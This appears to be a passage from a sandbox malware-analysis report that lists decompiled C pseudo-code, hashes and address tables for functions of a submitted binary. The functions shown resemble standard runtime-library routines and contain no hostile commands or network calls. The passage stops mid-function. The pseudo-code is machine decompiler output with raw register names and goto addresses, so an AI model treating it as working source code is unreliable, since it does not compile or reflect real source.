                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339173734.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: _invalid_parameter_noinfo
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 3215553584-0
                                                                                                                              • Opcode ID: b8ff714229eac61573b8c54aef94970a551645be3ec3e531d410b1a1cea9ddf2
                                                                                                                              • Instruction ID: 8e699729ed87ae0fc017f8a368cf2500401727d1eb1cabeba17cdb2a96c0e7f1
                                                                                                                              • Opcode Fuzzy Hash: b8ff714229eac61573b8c54aef94970a551645be3ec3e531d410b1a1cea9ddf2
                                                                                                                              • Instruction Fuzzy Hash: 3741DF32908241C3FA26AB19A54527DF3A1FB65B54FD04172DF8E836D2CF2EE612C761
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8D7170 Relevance: 1.6, APIs: 1, Instructions: 85COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 52%
                                                                                                                              			E00007FF77FF7DA8D7170(void* __rax, long long __rbx, void* __rcx, void* __rdx, long long __rdi, void* __r8) {
				void* _t12;
				void* _t14;
				void* _t27;
				void* _t28;
				void* _t31;
				long long _t33;
				void* _t35;
				long long _t52;
				void* _t57;
				long long _t58;
				void* _t60;
				void* _t62;
				void* _t67;
				void* _t68;
				void* _t71;
				void* _t72;

				_t52 = __rdi;
				_t33 = __rbx;
				_t31 = __rax;
				_t67 = __rcx;
				_t57 = __r8;
				_t71 = __rdx;
				r13d = 0; // executed
				0xda8e4000(); // executed
				_t72 = __rax;
				if (__rax == 0) goto 0xda8d7283;
				_t1 = _t68 + 2; // 0x2
				r8d = _t1;
				_t12 = E00007FF77FF7DA8DF884(__rax, __rbx, __rcx, __rdi); // executed
				if (_t12 < 0) goto 0xda8d7283;
				 *((long long*)(_t62 + 0x50)) = _t33;
				E00007FF77FF7DA8E7888(__rax, _t33, _t67, _t52); // executed
				_t34 = _t31;
				if (_t31 - __r8 < 0) goto 0xda8d727e;
				 *((long long*)(_t62 + 0x58)) = _t58;
				 *((long long*)(_t62 + 0x60)) = _t52;
				_t5 = _t34 - 0x2000; // -8192
				_t60 =  <  ? _t68 : _t5;
				_t35 = _t31 - _t60;
				if (_t35 - __r8 < 0) goto 0xda8d7274;
				r8d = 0;
				_t14 = E00007FF77FF7DA8DF884(_t31, _t35, _t67, _t52); // executed
				if (_t14 < 0) goto 0xda8d7274;
				E00007FF77FF7DA8DF54C(_t60, _t35, _t67); // executed
				_t27 = _t31 - _t35;
				if (_t27 != 0) goto 0xda8d7274;
				if (_t27 == 0) goto 0xda8d725b;
				_t6 = _t72 - 1; // -1
				_t28 = E00007FF77FF7DA8DC740(0x2000, _t6 + _t35 - _t57 + 1, _t71, _t57);
				if (_t28 == 0) goto 0xda8d726d;
				if (_t28 != 0) goto 0xda8d7240;
				if (_t60 != 0) goto 0xda8d71e0;
				goto 0xda8d7274;
				return E00007FF77FF7DA8E3FEC(0x2000, _t72, _t71, _t57);
			}



















                                                                                                                              0x7ff7da8d7170
                                                                                                                              0x7ff7da8d7170
                                                                                                                              0x7ff7da8d7170
                                                                                                                              0x7ff7da8d717e
                                                                                                                              0x7ff7da8d7181
                                                                                                                              0x7ff7da8d7189
                                                                                                                              0x7ff7da8d718c
                                                                                                                              0x7ff7da8d718f
                                                                                                                              0x7ff7da8d7194
                                                                                                                              0x7ff7da8d719a
                                                                                                                              0x7ff7da8d71a2
                                                                                                                              0x7ff7da8d71a2
                                                                                                                              0x7ff7da8d71a9
                                                                                                                              0x7ff7da8d71b0
                                                                                                                              0x7ff7da8d71b9
                                                                                                                              0x7ff7da8d71be
                                                                                                                              0x7ff7da8d71c3
                                                                                                                              0x7ff7da8d71c9
                                                                                                                              0x7ff7da8d71cf
                                                                                                                              0x7ff7da8d71d4
                                                                                                                              0x7ff7da8d71e7
                                                                                                                              0x7ff7da8d71ee
                                                                                                                              0x7ff7da8d71f2
                                                                                                                              0x7ff7da8d71f8
                                                                                                                              0x7ff7da8d71fa
                                                                                                                              0x7ff7da8d7203
                                                                                                                              0x7ff7da8d720a
                                                                                                                              0x7ff7da8d721a
                                                                                                                              0x7ff7da8d721f
                                                                                                                              0x7ff7da8d7222
                                                                                                                              0x7ff7da8d722b
                                                                                                                              0x7ff7da8d722d
                                                                                                                              0x7ff7da8d724e
                                                                                                                              0x7ff7da8d7250
                                                                                                                              0x7ff7da8d7259
                                                                                                                              0x7ff7da8d7265
                                                                                                                              0x7ff7da8d726b
                                                                                                                              0x7ff7da8d729b

                                                                                                                              APIs
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.339090214.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000000.00000002.339080100.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339117101.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339173734.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: _fread_nolock
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 840049012-0
                                                                                                                              • Opcode ID: 68ca010f0fd644f89268626146362bb045ca7527ff30a2f35995bffdac70841f
                                                                                                                              • Instruction ID: 4ccf802272e51feb13761ad83ddc974da8e47b45f59649c1d9c3c8a457ca2f70
                                                                                                                              • Opcode Fuzzy Hash: 68ca010f0fd644f89268626146362bb045ca7527ff30a2f35995bffdac70841f
                                                                                                                              • Instruction Fuzzy Hash: 15218121F0829189FE16AA12A5043BEE652BB45BD4FCC44B2EE4D06B87DF3DE562C310
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8EAD5C Relevance: 1.6, APIs: 1, Instructions: 79COMMONLIBRARYCODE
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 100%
                                                                                                                              			E00007FF77FF7DA8EAD5C(signed int __ecx, void* __esi, signed int __rbx, void* __rdx, signed int __rsi, signed int __r12, void* _a16, void* _a24, void* _a32) {
				signed int _t9;
				signed int* _t15;
				signed int* _t22;

				_t15 = _t22;
				_t15[4] = __rbx;
				_t15[6] = __rsi;
				_t15[8] = __r12;
				_t15[2] = __ecx;
				r14d = r8d;
				if (__esi != 0xfffffffe) goto 0xda8eadb6;
				E00007FF77FF7DA8E4374(_t15);
				 *_t15 =  *_t15 & 0x00000000;
				_t9 = E00007FF77FF7DA8E4394(_t15);
				 *_t15 = 9;
				return _t9 | 0xffffffff;
			}






                                                                                                                              0x7ff7da8ead5c
                                                                                                                              0x7ff7da8ead5f
                                                                                                                              0x7ff7da8ead63
                                                                                                                              0x7ff7da8ead67
                                                                                                                              0x7ff7da8ead6b
                                                                                                                              0x7ff7da8ead78
                                                                                                                              0x7ff7da8ead84
                                                                                                                              0x7ff7da8ead86
                                                                                                                              0x7ff7da8ead8b
                                                                                                                              0x7ff7da8ead8e
                                                                                                                              0x7ff7da8ead93
                                                                                                                              0x7ff7da8eadb5

                                                                                                                              APIs
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.339090214.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000000.00000002.339080100.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339117101.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339173734.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: _invalid_parameter_noinfo
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 3215553584-0
                                                                                                                              • Opcode ID: 7817a0f28d0eb6c5fa3931f4599a67d6d6b3f8c1369c877220ee4ab0d307d010
                                                                                                                              • Instruction ID: 8b9315fee26c8069a7819dab5a7549f5010ce3a20de1cfad2da0602544191b34
                                                                                                                              • Opcode Fuzzy Hash: 7817a0f28d0eb6c5fa3931f4599a67d6d6b3f8c1369c877220ee4ab0d307d010
                                                                                                                              • Instruction Fuzzy Hash: 70318B61A18652C5F612BB1588013BCEA50BB64FA6FD10AB6DE1D433D3CF7EA6618230
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8E8709 Relevance: 1.6, APIs: 1, Instructions: 61COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 60%
                                                                                                                              			E00007FF77FF7DA8E8709(void* __ecx, char __edx, intOrPtr* __rax, long long __rbx, long long _a8, char _a16, char _a24, char _a32) {
				long long _v16;
				long long _v24;
				char _v32;
				long long _v40;
				char _v48;
				char _v52;
				void* _v56;
				void* _t28;
				intOrPtr* _t50;
				WCHAR* _t53;

				E00007FF77FF7DA8E9028();
				asm("int3");
				_a24 = r8d;
				_a16 = __edx;
				_v40 = 0xfffffffe;
				_a8 = __rbx;
				if (r8d != 0) goto 0xda8e877f;
				GetModuleHandleW(_t53);
				if (__rax == 0) goto 0xda8e877f;
				if ( *__rax != 0x5a4d) goto 0xda8e877f;
				_t50 =  *((intOrPtr*)(__rax + 0x3c)) + __rax;
				if ( *_t50 != 0x4550) goto 0xda8e877f;
				if ( *((intOrPtr*)(_t50 + 0x18)) != 0x20b) goto 0xda8e877f;
				if ( *((intOrPtr*)(_t50 + 0x84)) - 0xe <= 0) goto 0xda8e877f;
				if ( *((intOrPtr*)(_t50 + 0xf8)) == 0) goto 0xda8e877f;
				E00007FF77FF7DA8E8830(0x20b, __ecx, __rax);
				_a32 = 0;
				_v32 =  &_a16;
				_v24 =  &_a24;
				_v16 =  &_a32;
				_v52 = 2;
				_v48 = 2;
				_t28 = E00007FF77FF7DA8E860C(__rbx,  &_v48,  &_v32,  &_v52);
				if (_a24 == 0) goto 0xda8e87cd;
				return _t28;
			}













                                                                                                                              0x7ff7da8e8709
                                                                                                                              0x7ff7da8e870f
                                                                                                                              0x7ff7da8e8710
                                                                                                                              0x7ff7da8e8715
                                                                                                                              0x7ff7da8e8721
                                                                                                                              0x7ff7da8e8729
                                                                                                                              0x7ff7da8e8733
                                                                                                                              0x7ff7da8e8737
                                                                                                                              0x7ff7da8e8740
                                                                                                                              0x7ff7da8e874a
                                                                                                                              0x7ff7da8e8750
                                                                                                                              0x7ff7da8e8759
                                                                                                                              0x7ff7da8e8764
                                                                                                                              0x7ff7da8e876d
                                                                                                                              0x7ff7da8e8776
                                                                                                                              0x7ff7da8e877a
                                                                                                                              0x7ff7da8e877f
                                                                                                                              0x7ff7da8e8787
                                                                                                                              0x7ff7da8e878f
                                                                                                                              0x7ff7da8e8797
                                                                                                                              0x7ff7da8e87a0
                                                                                                                              0x7ff7da8e87a3
                                                                                                                              0x7ff7da8e87b6
                                                                                                                              0x7ff7da8e87c0
                                                                                                                              0x7ff7da8e87cc

                                                                                                                              APIs
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.339090214.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000000.00000002.339080100.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339117101.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339173734.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: HandleModule$AddressFreeLibraryProc
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 3947729631-0
                                                                                                                              • Opcode ID: 2312a5d6f4b211effc73cb1fcb8204366b0276267849894ad1c3aa5345b265bd
                                                                                                                              • Instruction ID: 947323d2217bf0b560f748190e0ee3e54c4abe0b55c9dab412a0fcdcf0036200
                                                                                                                              • Opcode Fuzzy Hash: 2312a5d6f4b211effc73cb1fcb8204366b0276267849894ad1c3aa5345b265bd
                                                                                                                              • Instruction Fuzzy Hash: 0A217C32F05642C9FB26AF64C8402AC73A0FB64718F940636DE2C06AD6DF3ED664CB50
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8E5418 Relevance: 1.6, APIs: 1, Instructions: 55COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 65%
                                                                                                                              			E00007FF77FF7DA8E5418(intOrPtr __ebp, long long __rbx, short* __rcx, long long __rdx, long long __rbp, void* __r8, long long __r9, char _a8, void* _a16, void* _a24, void* _a32) {
				long long _v48;
				long long _v56;
				void* __rsi;
				intOrPtr _t56;
				signed long long _t80;
				intOrPtr _t82;
				intOrPtr _t86;
				long long _t89;
				signed long long _t97;
				void* _t98;
				signed long long _t99;
				short* _t105;
				long long _t106;
				void* _t109;
				signed long long _t111;
				intOrPtr* _t117;
				long long _t125;

				r8d = 0x40;
				goto 0xda8e534c;
				asm("int3");
				_t80 = _t111;
				 *((long long*)(_t80 + 0x10)) = __rdx;
				_push(_t98);
				 *((long long*)(_t80 - 0x28)) = 0xfffffffe;
				 *((long long*)(_t80 + 0x18)) = __rbx;
				 *((long long*)(_t80 + 0x20)) = __rbp;
				_t89 = __r9;
				_t109 = __r8;
				_t105 = __rcx;
				r14d = 0;
				_t56 = r14d;
				if (__rcx == 0) goto 0xda8e5467;
				if (__r8 != 0) goto 0xda8e5463;
				goto 0xda8e560c;
				 *((intOrPtr*)(__rcx)) = r14w;
				if (__rdx != 0) goto 0xda8e5499;
				 *((char*)(__r9 + 0x30)) = 1;
				 *((intOrPtr*)(__r9 + 0x2c)) = 0x16;
				_v48 = __r9;
				_v56 = _t125;
				r9d = 0;
				r8d = 0;
				E00007FF77FF7DA8E9C34(_t80, __r9, __rcx, __rdx, __rcx, __r8, __r8);
				goto 0xda8e560c;
				if ( *((intOrPtr*)(__r9 + 0x28)) != r14b) goto 0xda8e54ac;
				E00007FF77FF7DA8E3970(_t80 | 0xffffffff, __r9, __r9, _t105, _t125);
				_t82 =  *((intOrPtr*)(__r9 + 0x18));
				if ( *((intOrPtr*)(_t82 + 0xc)) != 0xfde9) goto 0xda8e54df;
				_a8 = _t125;
				_v56 = __r9;
				_t97 =  &_a16;
				E00007FF77FF7DA8EF4CC(_t82, __r9, _t105, _t97, _t109,  &_a8);
				goto 0xda8e560c;
				if (_t105 == 0) goto 0xda8e55c1;
				if ( *((intOrPtr*)(_t82 + 0x138)) != 0) goto 0xda8e551a;
				if (_t109 == 0) goto 0xda8e5512;
				 *_t105 =  *(_t98 + _t97) & 0x000000ff;
				if ( *(_t98 + _t97) == r14b) goto 0xda8e5512;
				_t99 = _t98 + 1;
				_t106 = _t105 + 2;
				if (_t99 - _t109 < 0) goto 0xda8e54f9;
				goto 0xda8e560c;
				_v48 = __ebp;
				_v56 = _t106;
				r9d = _t56;
				E00007FF77FF7DA8EE740();
				if (_t99 != 0) goto 0xda8e5609;
				if (GetLastError() == 0x7a) goto 0xda8e555c;
				 *((char*)(_t89 + 0x30)) = 1;
				 *((intOrPtr*)(_t89 + 0x2c)) = 0x2a;
				 *_t106 = r14w;
				goto 0xda8e5512;
				r9d = __ebp;
				_t117 = _a16;
				if (__ebp == 0) goto 0xda8e5595;
				r9d = r9d - 1;
				if ( *_t117 == r14b) goto 0xda8e5595;
				if ( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t89 + 0x18)))) + _t97 * 2)) - r14w >= 0) goto 0xda8e558d;
				if ( *((intOrPtr*)(_t117 + 1)) == r14b) goto 0xda8e554b;
				goto 0xda8e5569;
				r8d = r8d - r10d;
				_t86 =  *((intOrPtr*)(_t89 + 0x18));
				_v48 = __ebp;
				_v56 = _t106;
				r9d = r8d;
				E00007FF77FF7DA8EE740();
				if (_t86 != 0) goto 0xda8e560c;
				goto 0xda8e554b;
				if (_t86 != 0) goto 0xda8e55d8;
				if ( *((intOrPtr*)(_t97 + (_t99 | 0xffffffffffffffff) + 1)) != r14b) goto 0xda8e55ca;
				goto 0xda8e5512;
				_v48 = r14d;
				_v56 = _t125;
				r9d = _t56;
				E00007FF77FF7DA8EE740();
				if (_t86 != 0) goto 0xda8e5609;
				 *((char*)(_t89 + 0x30)) = 1;
				 *((intOrPtr*)(_t89 + 0x2c)) = 0x2a;
				goto 0xda8e5512;
				return _t86;
			}




















                                                                                                                              0x7ff7da8e5418
                                                                                                                              0x7ff7da8e541e
                                                                                                                              0x7ff7da8e5423
                                                                                                                              0x7ff7da8e5424
                                                                                                                              0x7ff7da8e5427
                                                                                                                              0x7ff7da8e542c
                                                                                                                              0x7ff7da8e5433
                                                                                                                              0x7ff7da8e543b
                                                                                                                              0x7ff7da8e543f
                                                                                                                              0x7ff7da8e5443
                                                                                                                              0x7ff7da8e5446
                                                                                                                              0x7ff7da8e5449
                                                                                                                              0x7ff7da8e544c
                                                                                                                              0x7ff7da8e544f
                                                                                                                              0x7ff7da8e5455
                                                                                                                              0x7ff7da8e545a
                                                                                                                              0x7ff7da8e545e
                                                                                                                              0x7ff7da8e5463
                                                                                                                              0x7ff7da8e546a
                                                                                                                              0x7ff7da8e546c
                                                                                                                              0x7ff7da8e5471
                                                                                                                              0x7ff7da8e5479
                                                                                                                              0x7ff7da8e547e
                                                                                                                              0x7ff7da8e5483
                                                                                                                              0x7ff7da8e5486
                                                                                                                              0x7ff7da8e548b
                                                                                                                              0x7ff7da8e5494
                                                                                                                              0x7ff7da8e549d
                                                                                                                              0x7ff7da8e54a2
                                                                                                                              0x7ff7da8e54ac
                                                                                                                              0x7ff7da8e54b9
                                                                                                                              0x7ff7da8e54bb
                                                                                                                              0x7ff7da8e54c0
                                                                                                                              0x7ff7da8e54cd
                                                                                                                              0x7ff7da8e54d5
                                                                                                                              0x7ff7da8e54da
                                                                                                                              0x7ff7da8e54e9
                                                                                                                              0x7ff7da8e54f2
                                                                                                                              0x7ff7da8e54f7
                                                                                                                              0x7ff7da8e54fd
                                                                                                                              0x7ff7da8e5504
                                                                                                                              0x7ff7da8e5506
                                                                                                                              0x7ff7da8e5509
                                                                                                                              0x7ff7da8e5510
                                                                                                                              0x7ff7da8e5515
                                                                                                                              0x7ff7da8e551a
                                                                                                                              0x7ff7da8e551e
                                                                                                                              0x7ff7da8e5527
                                                                                                                              0x7ff7da8e5530
                                                                                                                              0x7ff7da8e553a
                                                                                                                              0x7ff7da8e5549
                                                                                                                              0x7ff7da8e554b
                                                                                                                              0x7ff7da8e554f
                                                                                                                              0x7ff7da8e5556
                                                                                                                              0x7ff7da8e555a
                                                                                                                              0x7ff7da8e555c
                                                                                                                              0x7ff7da8e5564
                                                                                                                              0x7ff7da8e5569
                                                                                                                              0x7ff7da8e556b
                                                                                                                              0x7ff7da8e5571
                                                                                                                              0x7ff7da8e5583
                                                                                                                              0x7ff7da8e558b
                                                                                                                              0x7ff7da8e5593
                                                                                                                              0x7ff7da8e5595
                                                                                                                              0x7ff7da8e5598
                                                                                                                              0x7ff7da8e559c
                                                                                                                              0x7ff7da8e55a0
                                                                                                                              0x7ff7da8e55a5
                                                                                                                              0x7ff7da8e55b3
                                                                                                                              0x7ff7da8e55bd
                                                                                                                              0x7ff7da8e55bf
                                                                                                                              0x7ff7da8e55c8
                                                                                                                              0x7ff7da8e55d1
                                                                                                                              0x7ff7da8e55d3
                                                                                                                              0x7ff7da8e55d8
                                                                                                                              0x7ff7da8e55dd
                                                                                                                              0x7ff7da8e55e2
                                                                                                                              0x7ff7da8e55ed
                                                                                                                              0x7ff7da8e55f7
                                                                                                                              0x7ff7da8e55f9
                                                                                                                              0x7ff7da8e55fd
                                                                                                                              0x7ff7da8e5604
                                                                                                                              0x7ff7da8e561e

                                                                                                                              APIs
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.339090214.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000000.00000002.339080100.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339117101.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339173734.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: _invalid_parameter_noinfo
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 3215553584-0
                                                                                                                              • Opcode ID: be1079961907d1906d587a3e65c1e024338dd0a3e917ec7f85ba85c18500dcb2
                                                                                                                              • Instruction ID: 2092866fc2fb777ddb374b4d7a065dd84a174c5c40cf09acda402532f73df2d6
                                                                                                                              • Opcode Fuzzy Hash: be1079961907d1906d587a3e65c1e024338dd0a3e917ec7f85ba85c18500dcb2
                                                                                                                              • Instruction Fuzzy Hash: 62115421A1C681C1FA66BF51940027DE260BFA6B84FD44472EF4C57A87DFBFD6208760
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8F56AC Relevance: 1.6, APIs: 1, Instructions: 54COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 100%
                                                                                                                              			E00007FF77FF7DA8F56AC(intOrPtr* __rax, long long __rbx, long long _a8, intOrPtr _a40) {

				_a8 = __rbx;
				if (_a40 != 0) goto 0xda8f56e1;
				E00007FF77FF7DA8E4394(__rax);
				 *__rax = 0x16;
				E00007FF77FF7DA8E9D00();
				return 0x16;
			}



                                                                                                                              0x7ff7da8f56ac
                                                                                                                              0x7ff7da8f56c1
                                                                                                                              0x7ff7da8f56c3
                                                                                                                              0x7ff7da8f56cd
                                                                                                                              0x7ff7da8f56cf
                                                                                                                              0x7ff7da8f56e0

                                                                                                                              APIs
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.339090214.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000000.00000002.339080100.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339117101.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339173734.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: _invalid_parameter_noinfo
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 3215553584-0
                                                                                                                              • Opcode ID: 8ab5c6977405cb0da174d71da5799961f335fed1fd48e027706f666140a89b5c
                                                                                                                              • Instruction ID: 07017cc4dafa9ea8bb6855d47cc89df70cf5ff4c8227bdb47b94158e15dbc1f2
                                                                                                                              • Opcode Fuzzy Hash: 8ab5c6977405cb0da174d71da5799961f335fed1fd48e027706f666140a89b5c
                                                                                                                              • Instruction Fuzzy Hash: B821D332A0CA4387EB26AF18D44076DB7A0FB94B54FD44236DA6D876DADF3DD4118B10
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8DF56C Relevance: 1.5, APIs: 1, Instructions: 48COMMONLIBRARYCODE
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 100%
                                                                                                                              			E00007FF77FF7DA8DF56C(long long __rbx, void* __rcx, void* __rdx, long long __rdi, long long __rsi, void* __r8, void* __r9, long long __r14, void* _a8, void* _a16, void* _a24, void* _a32, intOrPtr _a40) {
				intOrPtr* _t19;
				intOrPtr* _t31;

				_t19 = _t31;
				 *((long long*)(_t19 + 8)) = __rbx;
				 *((long long*)(_t19 + 0x10)) = __rsi;
				 *((long long*)(_t19 + 0x18)) = __rdi;
				 *((long long*)(_t19 + 0x20)) = __r14;
				if (__r8 == 0) goto 0xda8df5c5;
				if (__r9 == 0) goto 0xda8df5c5;
				if (_a40 != 0) goto 0xda8df5e2;
				if (__rdx == 0xffffffff) goto 0xda8df5b5;
				E00007FF77FF7DA8DC170();
				E00007FF77FF7DA8E4394(_t19);
				 *_t19 = 0x16;
				E00007FF77FF7DA8E9D00();
				return 0;
			}





                                                                                                                              0x7ff7da8df56c
                                                                                                                              0x7ff7da8df56f
                                                                                                                              0x7ff7da8df573
                                                                                                                              0x7ff7da8df577
                                                                                                                              0x7ff7da8df57b
                                                                                                                              0x7ff7da8df594
                                                                                                                              0x7ff7da8df599
                                                                                                                              0x7ff7da8df5a3
                                                                                                                              0x7ff7da8df5a9
                                                                                                                              0x7ff7da8df5b0
                                                                                                                              0x7ff7da8df5b5
                                                                                                                              0x7ff7da8df5ba
                                                                                                                              0x7ff7da8df5c0
                                                                                                                              0x7ff7da8df5e1

                                                                                                                              APIs
                                                                                                                              Memory Dump Source
                                                                                                                              • Source File: 00000000.00000002.339090214.00007FF7DA8D1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7DA8D0000, based on PE: true
                                                                                                                              • Associated: 00000000.00000002.339080100.00007FF7DA8D0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339117101.00007FF7DA8FA000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA90D000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339131229.00007FF7DA91C000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              • Associated: 00000000.00000002.339173734.00007FF7DA91E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                              Joe Sandbox IDA Plugin
                                                                                                                              • Snapshot File: hcaresult_0_2_7ff7da8d0000_4Vp6Xc8SFr.jbxd
                                                                                                                              Similarity
                                                                                                                              • API ID: _invalid_parameter_noinfo
                                                                                                                              • String ID:
                                                                                                                              • API String ID: 3215553584-0
                                                                                                                              • Opcode ID: 1748ab499dec2cd63d41733e33088bccb1bfcf71d5c0ce3e5d0110a60e1804e7
                                                                                                                              • Instruction ID: 24ae969e189b508d69917cac0ccadc7450e87b47fd9fc86ded991eb5adde6486
                                                                                                                              • Opcode Fuzzy Hash: 1748ab499dec2cd63d41733e33088bccb1bfcf71d5c0ce3e5d0110a60e1804e7
                                                                                                                              • Instruction Fuzzy Hash: 6D01C221A0874280FA06BF62990006DE7A1BB51FE0FCC46B2DE5D03BCBDE3DD5218710
                                                                                                                              Uniqueness

                                                                                                                              Uniqueness Score: -1.00%

                                                                                                                              Function 00007FF7DA8E6A94 Relevance: 1.5, APIs: 1, Instructions: 47COMMON
                                                                                                                              Download Yara Rule
                                                                                                                              C-Code - Quality: 100%
                                                                                                                              			E00007FF77FF7DA8E6A94(void* __ecx, intOrPtr* __rax, long long __rbx, long long __rdi, long long __rsi, long long _a8, long long _a16, long long _a24) {

				_a8 = __rbx;
				_a16 = __rsi;
				_a24 = __rdi;
				if (__ecx - 0x2000 < 0) goto 0xda8e6adc;
